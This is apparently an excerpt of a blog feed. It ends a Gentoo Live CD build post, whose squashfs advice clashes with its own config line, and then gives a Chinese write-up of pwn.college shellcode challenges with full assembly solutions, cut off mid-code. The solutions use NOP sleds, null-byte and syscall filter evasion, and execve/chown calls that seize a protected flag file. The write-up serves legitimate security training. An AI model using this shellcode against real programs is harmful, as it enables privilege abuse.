dev-util/pahole             # for checking the kernel's data structure   
sys-fs/squashfs-tools       # for mounting the rootfs
</code></pre></div></div>

<h3 id="change-the-kernel-configuration">Change the kernel configuration</h3>

<p>To begin with, the Catalyst does not actually provide a kernel config for sources. So, I just copied the <code class="language-plaintext highlighter-rouge">6.10.12</code> configuration from distkernel.
You can find it in <code class="language-plaintext highlighter-rouge">gentoo-kernel</code>’s <a href="https://gitweb.gentoo.org/repo/gentoo.git/tree/sys-kernel/gentoo-kernel/gentoo-kernel-6.10.12.ebuild">ebuild</a></p>

<p>After I boot into the kernel, the <code class="language-plaintext highlighter-rouge">rootfs</code> is not mounted and the Live CD complains not valid rootfs. Basically, the kernel does not recognize the squashfs filesystem, we need to enable it, not as a module, but as a built-in feature.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CONFIG_BLK_DEV_LOOP=y
CONFIG_SQUASHFS=m
</code></pre></div></div>

<h3 id="change-catalyst-configuration">Change Catalyst configuration</h3>

<p>The original Catalyst configuration contains a part of <code class="language-plaintext highlighter-rouge">dracut</code>, which is for generating the initramfs. However, if you’re using <code class="language-plaintext highlighter-rouge">gentoo-sources</code>, the <code class="language-plaintext highlighter-rouge">genkernel</code> is used to generate the initramfs. So, I removed the <code class="language-plaintext highlighter-rouge">dracut</code> part.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>subarch: amd64
version_stamp: custom_livecd
target: livecd-stage2
rel_type: 23.0-default
profile: default/linux/amd64/23.0/no-multilib
snapshot_treeish: current.xz
source_subpath: 23.0-default/livecd-stage1-amd64-custom_livecd
portage_confdir: /home/john/documents/releng/releases/portage/isos

livecd/bootargs: dokeymap 
livecd/fstype: squashfs
livecd/iso: install-amd64-minimal.iso
livecd/type: gentoo-release-minimal
livecd/volid: Gentoo-amd64

boot/kernel: gentoo
boot/kernel/gentoo/config: /var/tmp/catalyst/kconfig
boot/kernel/gentoo/packages: net-wireless/broadcom-sta 
</code></pre></div></div>

<p>And finally, the Live CD boots up with the network card.</p>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[Build a custom Gentoo Live CD.]]></summary></entry><entry><title type="html">Pwn College Shell Code</title><link href="https://hongyi.lu/shellcode/" rel="alternate" type="text/html" title="Pwn College Shell Code" /><published>2024-09-02T00:00:00+00:00</published><updated>2024-09-02T00:00:00+00:00</updated><id>https://hongyi.lu/shellcode</id><content type="html" xml:base="https://hongyi.lu/shellcode/"><![CDATA[<p>Shellcode challenges in pwn.college.</p>

<h2 id="准备工作">准备工作</h2>

<p>首先，我不希望使用类似于 <code class="language-plaintext highlighter-rouge">pwntool</code> 这类完整的 CTF 框架，这会让我们失去对细节的理解。因此，我们将使用最基础的 <code class="language-plaintext highlighter-rouge">as</code> 作为我们的汇编器。
并且利用 <code class="language-plaintext highlighter-rouge">objcopy</code> 等来生成原生的 shellcode 进行注入。</p>

<h3 id="编译脚本">编译脚本</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
as <span class="nt">--64</span> <span class="nt">-o</span> shell shell.s                        <span class="c"># 指示汇编器生成 64 位的代码。</span>
objcopy <span class="nt">-O</span> binary <span class="nt">-j</span> .text shell shell.bin      <span class="c"># 汇编器生成的文件会包含不必要的元信息，我们使用 objcopy 将 .text 段提取出来。</span>
objdump  <span class="nt">-b</span> binary shell.bin <span class="nt">-m</span> i386:x86-64 <span class="nt">-D</span>  <span class="c"># 输出我们的 shellcode 便于调试。</span>
</code></pre></div></div>

<h2 id="challenge-1-plain-shellcode">Challenge 1 Plain Shellcode</h2>

<p>这个挑战是最基础的 shellcode，程序直接执行我们注入的 shellcode。由于使用了 ASLR 保护，栈地址是完全随机的，所以我们需要确保我们的 shellcode 是位置无关的。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">syscall</span>

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	    <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	    <span class="nf">.long</span> <span class="mi">0</span>
	    <span class="nf">.long</span> <span class="mi">0</span>
	    <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>

</details>

<p>接下来我们介绍几个重点部分。</p>

<h3 id="lea-指令"><code class="language-plaintext highlighter-rouge">lea</code> 指令</h3>
<p><code class="language-plaintext highlighter-rouge">lea</code> 全称为 Load Effective Address，其作用是将一个地址加载到一个寄存器中，不过不需要纠结，只要记住它的格式。与 <code class="language-plaintext highlighter-rouge">mov</code> 指令不同，<code class="language-plaintext highlighter-rouge">lea</code> 指令不会将地址中的内容加载到寄存器中，而是将地址本身加载到寄存器中。不过不需要纠结这些，只需要记住 <code class="language-plaintext highlighter-rouge">lea</code> 指令所代表的算术运算即可。</p>

<pre><code class="language-assembly">lea o(r1,r2,m), rd
</code></pre>

<p>最后 <code class="language-plaintext highlighter-rouge">rd = o + r1 + r2 * m</code>，不管这些值代表什么，也不管最后的结果是否是一个合法的地址，<code class="language-plaintext highlighter-rouge">lea</code> 指令都会将这个结果加载到 <code class="language-plaintext highlighter-rouge">rd</code> 中。其中，<code class="language-plaintext highlighter-rouge">m</code> 代表单位位移量，只能取 1, 2, 4, 8 这几个值，分别代表 1, 2, 4, 8 字节的大小。<code class="language-plaintext highlighter-rouge">r1</code> 代表基址寄存器，<code class="language-plaintext highlighter-rouge">r2</code> 代表索引寄存器，<code class="language-plaintext highlighter-rouge">o</code> 代表偏移量。</p>

<p>而 <code class="language-plaintext highlighter-rouge">mov o(r1,r2,m), rd</code> 则是将 <code class="language-plaintext highlighter-rouge">o + r1 + r2 * m</code> 这个地址中的内容加载到 <code class="language-plaintext highlighter-rouge">rd</code> 中，也就是 <code class="language-plaintext highlighter-rouge">rd = *(o + r1 + r2 * m)</code>，如果最终结果不是一个合法地址，则会段错误。</p>

<h3 id="位置无关代码">位置无关代码</h3>
<p>一般而言，位置无关代码是通过 pc 相对寻址实现的，也就是说我们的代码不依赖于绝对地址，而是通过目标地址与 pc 之间的偏移量来计算目标地址。而汇编器一般具有对于这类
指令的语法糖。例如 <code class="language-plaintext highlighter-rouge">leaq cmd(%rip), %rdi</code> 所代表的并不是将 <code class="language-plaintext highlighter-rouge">$cmd + %rip</code> 这个地址赋值给 <code class="language-plaintext highlighter-rouge">%rdi</code>，而是将 <code class="language-plaintext highlighter-rouge">$cmd</code> 这个地址以 pc 相对寻址的方式赋值给 <code class="language-plaintext highlighter-rouge">%rdi</code>。</p>

<h3 id="setuid">SetUID</h3>
<p>这部分详见 <a href="../uid">Linux 中各种各样的 UID</a>。</p>

<h3 id="argv"><code class="language-plaintext highlighter-rouge">argv</code></h3>
<p><code class="language-plaintext highlighter-rouge">argv</code> 是一个指向字符串指针的指针，我们需要将其设置为一个指向字符串指针的数组。在这里，我们将 <code class="language-plaintext highlighter-rouge">argv</code> 设置为一个指向字符串指针的数组，其中第一个指针指向 <code class="language-plaintext highlighter-rouge">cmd</code>，第二个指针指向 <code class="language-plaintext highlighter-rouge">arg2="/flag"</code>，第三个指针指向 <code class="language-plaintext highlighter-rouge">NULL</code> 代表终止符。</p>

<h2 id="challenge-2-shellcode-with-nop-sled">Challenge 2 Shellcode with NOP Sled</h2>

<p>这次程序会将 shellcode 的前 800 个字节删除，我们只需要在 shellcode 前面加上一些 NOP 指令即可。</p>

<pre><code class="language-assembly">.fill 800, 1, 0x90
</code></pre>

<p><code class="language-plaintext highlighter-rouge">.fill</code> 是一条伪指令，用于填充数据，其格式为 <code class="language-plaintext highlighter-rouge">.fill n, size, value</code>，表示填充 <code class="language-plaintext highlighter-rouge">n</code> 个 <code class="language-plaintext highlighter-rouge">size</code> 大小的 <code class="language-plaintext highlighter-rouge">value</code>。</p>

<h2 id="challenge-3-shellcode-with-null-byte-filter">Challenge 3 Shellcode with NULL-byte Filter</h2>

<p>这一次我们将不能使用 NULL 字节，因为程序会将 shellcode 中的 NULL 字节删除。我们将使用一个有意思的技巧，即在 shellcode 中再发起一个系统调用，这样我们可以通过这个系统调用来继续读取新的 shellcode。也就是我们将执行一个 <code class="language-plaintext highlighter-rouge">read(stdin, %rip, 0x1ff)</code> 的系统调用，这样我们就可以继续读取新的 shellcode。</p>

<p>获取 <code class="language-plaintext highlighter-rouge">%rip</code> 的值在没有 NULL 字节的情况下是非常困难的，幸运的是，这一次 Victim 程序会将我们的 shellcode 加载到一个固定的地址，我们可以直接在 shellcode 中硬编码常量。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">rax</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">rdx</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">mov</span> <span class="kc">$</span><span class="mh">0x15e0</span><span class="p">,</span> <span class="o">%</span><span class="nb">si</span>
        <span class="nf">shl</span> <span class="kc">$</span><span class="mi">4</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>	
	<span class="nf">add</span> <span class="kc">$</span><span class="mh">0xd</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">shl</span> <span class="kc">$</span><span class="mi">12</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">mov</span> <span class="kc">$</span><span class="mh">0x1ff</span><span class="p">,</span> <span class="o">%</span><span class="nb">dx</span>
	<span class="nf">syscall</span>
	<span class="nf">.fill</span> <span class="mh">0x1000</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x90</span>

	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">syscall</span>

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>
</details>

<p>同时通过一系列技巧来避免我们的 shellcode 中出现 NULL 字节。</p>

<ul>
  <li>使用 <code class="language-plaintext highlighter-rouge">xor</code> 指令来清空寄存器。</li>
  <li>使用 <code class="language-plaintext highlighter-rouge">shl</code> 和 <code class="language-plaintext highlighter-rouge">add</code> 指令组合计算。</li>
  <li>使用 16 位与 32 位指令而不是 64 位指令来避免 NULL 字节。</li>
</ul>

<h2 id="challenge-4-shellcode-wo-h">Challenge 4 Shellcode w.o ‘H’</h2>
<p>这个题目会提前过滤所有的 <code class="language-plaintext highlighter-rouge">H</code> 字符，也就是 <code class="language-plaintext highlighter-rouge">0x48</code>。下面是关键点。</p>

<ul>
  <li>使用 <code class="language-plaintext highlighter-rouge">push %reg</code> <code class="language-plaintext highlighter-rouge">pop %reg</code> 来设置寄存器。</li>
  <li>使用 <code class="language-plaintext highlighter-rouge">read(stdin, %rip, length)</code> 来覆盖原有的 shellcode。</li>
</ul>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mi">0</span>	
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mi">0</span>	
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mi">0</span>	
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mi">0</span>	
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mh">0x2520a000</span>
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">mov</span> <span class="kc">$</span><span class="mh">0x1ff</span><span class="p">,</span> <span class="o">%</span><span class="nb">dx</span>
	<span class="nf">syscall</span>
	<span class="nf">.fill</span> <span class="mh">0x1000</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x90</span>

	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">syscall</span>

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>
</details>

<h2 id="challenge-5--6-shellcode-wo-syscall">Challenge 5 &amp; 6 Shellcode w.o <code class="language-plaintext highlighter-rouge">syscall</code></h2>

<p>这个题目会过滤 <code class="language-plaintext highlighter-rouge">syscall (0x0f 0x05)</code> 指令，直接在内存上现场构造即可。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">.fill</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
	<span class="nf">movb</span> <span class="kc">$</span><span class="mh">0xf</span><span class="p">,</span> <span class="nv">target</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">movb</span> <span class="kc">$</span><span class="mh">0x5</span><span class="p">,</span> <span class="nv">target</span><span class="o">+</span><span class="mi">1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
<span class="nl">target:</span> <span class="nf">.long</span> <span class="mi">0</span>
	
	

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>

</details>

<h2 id="challenge-7-shellcode-with-closed-file-descriptor">Challenge 7 Shellcode with closed file descriptor</h2>

<p>这个题目将所有的文件描述符都关闭了，因此不能通过 <code class="language-plaintext highlighter-rouge">cat</code> 之类的进行读取 flag。
我使用了 <code class="language-plaintext highlighter-rouge">chown</code> 直接改变 <code class="language-plaintext highlighter-rouge">/flag</code> 的权限。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">movb</span> <span class="kc">$</span><span class="mh">0xf</span><span class="p">,</span> <span class="nv">target</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">movb</span> <span class="kc">$</span><span class="mh">0x5</span><span class="p">,</span> <span class="nv">target</span><span class="o">+</span><span class="mi">1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>

	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>

	<span class="nf">leaq</span> <span class="nv">arg3</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv3</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>

	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
<span class="nl">target:</span> <span class="nf">.long</span> <span class="mi">0</span>
	
	

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nb">ch</span><span class="nv">own</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	<span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	<span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv3:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	<span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"hacker"</span>
<span class="nl">arg3:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>

</code></pre></div>  </div>
</details>

<h2 id="challenge-8-18-byte-shellcode">Challenge 8 18 Byte Shellcode</h2>

<p>这个是一个很有趣的题目，只允许 18 byte，我并没有分析在调用点进入时，有哪些寄存器不需要设置（可以复用）。
而是继续坚持使用 <code class="language-plaintext highlighter-rouge">execve("/bin/cat", NULL, NULL)</code>，但很显然 <code class="language-plaintext highlighter-rouge">/bin/cat</code> 会导致我的 Shellcode 超过上限。</p>

<p>因此，我用 C 语言编写了一个程序，命名为 <code class="language-plaintext highlighter-rouge">f</code> 放在当前的工作目录下，然后再利用 <code class="language-plaintext highlighter-rouge">execve</code> 调用该文件 <code class="language-plaintext highlighter-rouge">f</code> 来读取 flag。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">esi</span><span class="p">,</span> <span class="o">%</span><span class="nb">esi</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">edx</span><span class="p">,</span> <span class="o">%</span><span class="nb">edx</span>
	<span class="nf">lea</span> <span class="nv">flag</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mh">0x3B</span>
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">syscall</span>
<span class="nl">flag:</span> <span class="nf">.string</span> <span class="s">"f"</span>
</code></pre></div>  </div>
</details>

<h2 id="challenge-9-modified-shellcode">Challenge 9 Modified Shellcode</h2>

<p>每隔 10 个 Byte，Shellcode 就会被改写，处理方式非常简单，用 <code class="language-plaintext highlighter-rouge">jmp</code> 把被改写部分跳过。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
        <span class="nf">jmp</span> <span class="mi">0</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">0:</span>      <span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nv">r10</span>
        <span class="nf">jmp</span> <span class="mi">1</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">1:</span>      <span class="nf">movq</span> <span class="o">%</span><span class="nv">r10</span><span class="p">,</span> <span class="p">(</span><span class="o">%</span><span class="nb">rsp</span><span class="p">)</span>
        <span class="nf">jmp</span> <span class="mi">2</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">2:</span>      <span class="nf">movq</span> <span class="o">%</span><span class="nv">r10</span><span class="p">,</span> <span class="o">-</span><span class="mi">8</span><span class="p">(</span><span class="o">%</span><span class="nb">rsp</span><span class="p">)</span>
        <span class="nf">jmp</span> <span class="mi">3</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">3:</span>      <span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
        <span class="nf">jmp</span> <span class="mi">4</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">4:</span>      <span class="nf">leaq</span> <span class="o">-</span><span class="mi">8</span><span class="p">(</span><span class="o">%</span><span class="nb">rsp</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
        <span class="nf">jmp</span> <span class="mi">5</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">5:</span>      <span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
        <span class="nf">jmp</span> <span class="mi">6</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">6:</span>      <span class="nf">movq</span> <span class="o">%</span><span class="nb">rdx</span><span class="p">,</span> <span class="mi">8</span><span class="p">(</span><span class="o">%</span><span class="nb">rsp</span><span class="p">)</span>
        <span class="nf">syscall</span>
<span class="nf">.fill</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
